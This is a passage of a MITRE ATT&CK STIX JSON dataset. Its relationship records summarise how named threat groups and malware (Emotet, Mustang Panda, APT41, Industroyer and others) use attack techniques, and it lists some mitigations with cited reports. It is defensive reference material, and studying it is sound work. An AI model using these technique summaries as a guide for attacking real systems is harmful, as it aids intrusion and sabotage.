2018)","relationship_type":"uses","source_ref":"intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--881641a8-77d9-4dce-9d4b-2388c9b11612","type":"relationship","created":"2021-04-13T20:27:51.725Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Avira Mustang Panda January 2020","url":"https://www.avira.com/en/blog/new-wave-of-plugx-targets-hong-kong","description":"Hamzeloofard, S. (2020, January 31). New wave of PlugX targets Hong Kong | Avira Blog. Retrieved April 13, 2021."}],"modified":"2021-04-19T17:52:40.850Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has used tasklist /v to determine active process information.(Citation: Avira Mustang Panda January 2020)\t","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--881b3ad2-38dd-45b0-b75b-49acf6f7c6a3","type":"relationship","created":"2020-06-23T18:12:47.888Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:29:47.695Z","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used legitimate applications to side-load malicious DLLs.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--882002ca-25a6-4226-9cc4-3efe5f798449","type":"relationship","created":"2020-05-28T16:38:03.779Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Eset Ramsay May 2020","url":"https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/","description":"Sanmillan, I.. (2020, May 13). Ramsay: A cyber‑espionage toolkit tailored for air‑gapped networks. Retrieved May 27, 2020."},{"source_name":"Antiy CERT Ramsay April 2020","url":"https://www.programmersought.com/article/62493896999/","description":"Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021."}],"modified":"2021-03-24T20:25:01.495Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) has masqueraded as a 7zip installer.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020)\t","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--88221b55-8e8a-4a38-b477-a45907083011","type":"relationship","created":"2021-04-13T20:27:51.730Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Avira Mustang Panda January 2020","url":"https://www.avira.com/en/blog/new-wave-of-plugx-targets-hong-kong","description":"Hamzeloofard, S. (2020, January 31). New wave of PlugX targets Hong Kong | Avira Blog. Retrieved April 13, 2021."}],"modified":"2021-04-13T20:27:51.730Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has gathered system information using systeminfo.(Citation: Avira Mustang Panda January 2020)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--88231281-0f0d-4655-b083-a90faf9056fe","created":"2022-09-27T18:14:34.194Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T18:14:34.194Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors used a Visual Basic script that checked for internet connectivity.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--882c68e3-5f01-4438-a430-ff22692d8910","type":"relationship","created":"2019-01-30T14:00:49.889Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved November 15, 2018.","url":"https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/","source_name":"PaloAlto DNS Requests May 2016"}],"modified":"2019-05-30T18:05:32.845Z","description":"[APT18](https://attack.mitre.org/groups/G0026) can upload a file to the victim’s machine.(Citation: PaloAlto DNS Requests May 2016)","relationship_type":"uses","source_ref":"intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--88309efb-b366-4c4a-bd23-ba43b9f05c4c","type":"relationship","created":"2019-03-26T19:23:02.073Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Emotet Jul 2018","url":"https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor","description":"Symantec. (2018, July 18). The Evolution of Emotet: From Banking Trojan to Threat Distributor. Retrieved March 25, 2019."},{"source_name":"Talos Emotet Jan 2019","url":"https://blog.talosintelligence.com/2019/01/return-of-emotet.html","description":"Brumaghin, E.. (2019, January 15). Emotet re-emerges after the holidays. Retrieved March 25, 2019."},{"source_name":"Trend Micro Emotet Jan 2019","url":"https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf","description":"Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019."},{"source_name":"Picus Emotet Dec 2018","url":"https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html","description":"Özarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019."},{"description":"Lee, S.. (2019, April 24). Emotet Using WMI to Launch PowerShell Encoded Code. Retrieved May 24, 2019.","url":"https://www.carbonblack.com/2019/04/24/cb-tau-threat-intelligence-notification-emotet-utilizing-wmi-to-launch-powershell-encoded-code/","source_name":"Carbon Black Emotet Apr 2019"}],"modified":"2020-06-23T19:51:01.709Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has sent Microsoft Word documents with embedded macros that will invoke scripts to download additional payloads. (Citation: Symantec Emotet Jul 2018)(Citation: Talos Emotet Jan 2019)(Citation: Trend Micro Emotet Jan 2019)(Citation: Picus Emotet Dec 2018)(Citation: Carbon Black Emotet Apr 2019)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8833fac6-778f-4cf8-8b2a-6dee29164ffa","created":"2019-06-14T16:51:02.187Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Rapid7 KeyBoy Jun 2013","description":"Guarnieri, C., Schloesser M. (2013, June 7). KeyBoy, Targeted Attacks against Vietnam and India. Retrieved June 14, 2019.","url":"https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/"},{"source_name":"PWC KeyBoys Feb 2017","description":"Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.","url":"https://web.archive.org/web/20211129064701/https://www.pwc.co.uk/issues/cyber-security-services/research/the-keyboys-are-back-in-town.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:22:36.390Z","description":"[KeyBoy](https://attack.mitre.org/software/S0387) has a download and upload functionality.(Citation: PWC KeyBoys Feb 2017)(Citation: Rapid7 KeyBoy Jun 2013)","relationship_type":"uses","source_ref":"malware--5dd649c0-bca4-488b-bd85-b180474ec62e","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--88342067-1634-4ffb-8b77-4533952d6bb7","created":"2024-05-17T20:27:12.731Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-17T20:27:12.731Z","description":"\n[Volt Typhoon](https://attack.mitre.org/groups/G1017) has exploited zero-day vulnerabilities for initial access.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--bbc3cba7-84ae-410d-b18b-16750731dfa2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8835056d-c12a-4036-9028-7b8d867f2d79","type":"relationship","created":"2022-03-24T22:31:32.748Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"modified":"2022-03-24T22:31:32.748Z","description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can use PowerShell to execute commands.(Citation: GitHub SILENTTRINITY Modules July 2019)","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--883558d8-c445-45cf-a5cd-841fdf49f311","created":"2019-09-23T22:53:30.163Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.534Z","description":"[APT41](https://attack.mitre.org/groups/G0096) used a malware variant called WIDETONE to conduct port scans on specified subnets.(Citation: FireEye APT41 Aug 2019)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--883762ff-5cb3-49af-87a2-6a128a1ce939","created":"2018-10-17T00:14:20.652Z","x_mitre_version":"1.0","external_references":[{"source_name":"APT15 Intezer June 2018","url":"https://web.archive.org/web/20180615122133/https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/","description":"Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"[MirageFox](https://attack.mitre.org/software/S0280) is likely loaded via DLL hijacking into a legitimate McAfee binary.(Citation: APT15 Intezer June 2018)","modified":"2022-07-22T18:52:32.771Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--e3cedcfe-6515-4348-af65-7f2c4157bf0d","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--883822b2-c788-4a60-b9ad-e73e363b1ea6","created":"2023-02-14T18:27:58.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MalwareBytes WoodyRAT Aug 2022","description":"MalwareBytes Threat Intelligence Team. (2022, August 3). Woody RAT: A new feature-rich malware spotted in the wild. Retrieved December 6, 2022.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-23T22:59:21.267Z","description":"[Woody RAT](https://attack.mitre.org/software/S1065) can deobfuscate Base64-encoded strings and scripts.(Citation: MalwareBytes WoodyRAT Aug 2022)","relationship_type":"uses","source_ref":"malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8839b4ad-24cb-4ad3-a407-947f75591973","type":"relationship","created":"2019-02-12T16:33:29.174Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Zebrocy Nov 2018","url":"https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/","description":"ESET. (2018, November 20). Sednit: What’s going on with Zebrocy?. Retrieved February 12, 2019."},{"source_name":"ESET Zebrocy May 2019","url":"https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/","description":"ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019."},{"description":"Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.","url":"https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50","source_name":"Accenture SNAKEMACKEREL Nov 2018"}],"modified":"2019-07-17T01:18:32.911Z","description":"[Zebrocy](https://attack.mitre.org/software/S0251) creates an entry in a Registry Run key for the malware to execute on startup.(Citation: ESET Zebrocy Nov 2018)(Citation: ESET Zebrocy May 2019)(Citation: Accenture SNAKEMACKEREL Nov 2018)","relationship_type":"uses","source_ref":"malware--a4f57468-fbd5-49e4-8476-52088220b92d","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--883a60f7-0111-4542-b590-2f0140ba26bd","type":"relationship","created":"2020-12-23T16:40:34.175Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 Molerat Mar 2020","url":"https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/","description":"Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."}],"modified":"2020-12-23T16:40:34.175Z","description":"[Spark](https://attack.mitre.org/software/S0543) has used a splash screen to check whether an user actively clicks on the screen before running malicious code.(Citation: Unit42 Molerat Mar 2020) ","relationship_type":"uses","source_ref":"malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4","target_ref":"attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--883cf8ae-faba-4dfa-82b9-b9c09282b4e2","created":"2024-06-10T19:13:34.146Z","revoked":false,"external_references":[{"source_name":"Lumen KVBotnet 2023","description":"Black Lotus Labs. (2023, December 13). Routers Roasting On An Open Firewall: The KV-Botnet Investigation. Retrieved June 10, 2024.","url":"https://blog.lumen.com/routers-roasting-on-an-open-firewall-the-kv-botnet-investigation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-10T19:13:34.146Z","description":"[KV Botnet Activity](https://attack.mitre.org/campaigns/C0035) utilizes multiple Bash scripts during botnet installation stages, and the final botnet payload allows for running commands in the Bash shell.(Citation: Lumen KVBotnet 2023)","relationship_type":"uses","source_ref":"campaign--0c259854-4044-4f6c-ac49-118d484b3e3b","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--883e2f79-5bf5-4e08-bb83-f1cd36907958","type":"relationship","created":"2022-03-23T16:57:13.626Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Lazarus APT January 2022","url":"https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/","description":"Saini, A. and Hossein, J. (2022, January 27). North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022."},{"source_name":"Qualys LolZarus","url":"https://blog.qualys.com/vulnerabilities-threat-research/2022/02/08/lolzarus-lazarus-group-incorporating-lolbins-into-campaigns","description":"Pradhan, A. (2022, February 8). LolZarus: Lazarus Group Incorporating Lolbins into Campaigns. Retrieved March 22, 2022."}],"modified":"2022-03-23T16:57:13.626Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) lnk files used for persistence have abused the Windows Update Client (wuauclt.exe) to execute a malicious DLL.(Citation: Lazarus APT January 2022)(Citation: Qualys LolZarus)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--457c7820-d331-465a-915e-42f85500ccc4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--884019ca-fca8-46a8-8dc4-71f60427db0f","type":"relationship","created":"2020-05-06T15:26:38.963Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro BlackTech June 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/","description":"Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech’s Cyber Espionage Campaigns. Retrieved May 5, 2020."},{"source_name":"JPCert PLEAD Downloader June 2018","url":"https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html","description":"Tomonaga, S. (2018, June 8). PLEAD Downloader Used by BlackTech. Retrieved May 6, 2020."}],"modified":"2020-05-06T15:26:38.963Z","description":"[PLEAD](https://attack.mitre.org/software/S0435) has the ability to list drives and files on the compromised host.(Citation: TrendMicro BlackTech June 2017)(Citation: JPCert PLEAD Downloader June 2018)","relationship_type":"uses","source_ref":"malware--b57f419e-8b12-49d3-886b-145383725dcd","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8840d33c-de12-45d5-a0e3-cdfddf789794","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT BADCALL","description":"US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF"}],"modified":"2020-03-27T20:35:51.612Z","description":"[BADCALL](https://attack.mitre.org/software/S0245) collects the computer name and host name on the compromised system.(Citation: US-CERT BADCALL)","relationship_type":"uses","source_ref":"malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--88427fdf-9d70-49d2-a7ca-4c79ee387d3d","type":"relationship","created":"2019-03-11T15:04:51.661Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:58.860Z","description":"[Empire](https://attack.mitre.org/software/S0363) has the ability to gather browser data such as bookmarks and visited sites.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--88484d85-3c8e-4ccc-b82b-650c6c9bc825","created":"2021-01-04T20:42:22.124Z","x_mitre_version":"1.0","external_references":[{"source_name":"Dragos Crashoverride 2017","url":"https://dragos.com/blog/crashoverride/CrashOverride-01.pdf","description":"Dragos Inc.. (2017, June 13). CRASHOVERRIDE Analysis of the Threat to Electric Grid Operations. Retrieved December 18, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Industroyer](https://attack.mitre.org/software/S0604)’s data wiper module writes zeros into the registry keys in SYSTEM\\CurrentControlSet\\Services to render a system inoperable.(Citation: Dragos Crashoverride 2017)","modified":"2022-06-30T20:16:22.962Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--e401d4fe-f0c9-44f0-98e6-f93487678808","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--884964fd-ae2b-4a3f-a023-98e79b967943","type":"relationship","created":"2020-03-13T20:44:06.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"US-CERT. (n.d.). Risks of Default Passwords on the Internet. Retrieved April 12, 2019.","url":"https://www.us-cert.gov/ncas/alerts/TA13-175A","source_name":"US-CERT Alert TA13-175A Risks of Default Passwords on the Internet"}],"modified":"2021-04-05T20:14:26.987Z","description":"Applications and appliances that utilize default username and password should be changed immediately after the installation, and before deployment to a production environment. (Citation: US-CERT Alert TA13-175A Risks of Default Passwords on the Internet)","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--884c3843-5065-4919-ad6e-0f77130b4d36","created":"2022-05-27T18:09:25.201Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft Nobelium Admin Privileges","url":"https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks","description":"Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM targeting delegated administrative privileges to facilitate broader attacks. Retrieved January 31, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"Require MFA for all delegated administrator accounts.(Citation: Microsoft Nobelium Admin Privileges)","modified":"2022-05-27T18:09:25.201Z","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--884d34c0-8423-484f-8151-e158831d6531","type":"relationship","created":"2019-09-10T18:20:12.921Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-11-10T15:55:10.302Z","description":"Limit privileges of user accounts so only authorized privileged users can create and modify XDG autostart entries.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--884e2dbe-6641-400b-93db-2df91ffe5a33","created":"2024-08-09T17:37:40.630Z","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-09T17:37:40.630Z","description":"[CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) can check if a process name contains “creensaver.”(Citation: Mandiant ROADSWEEP 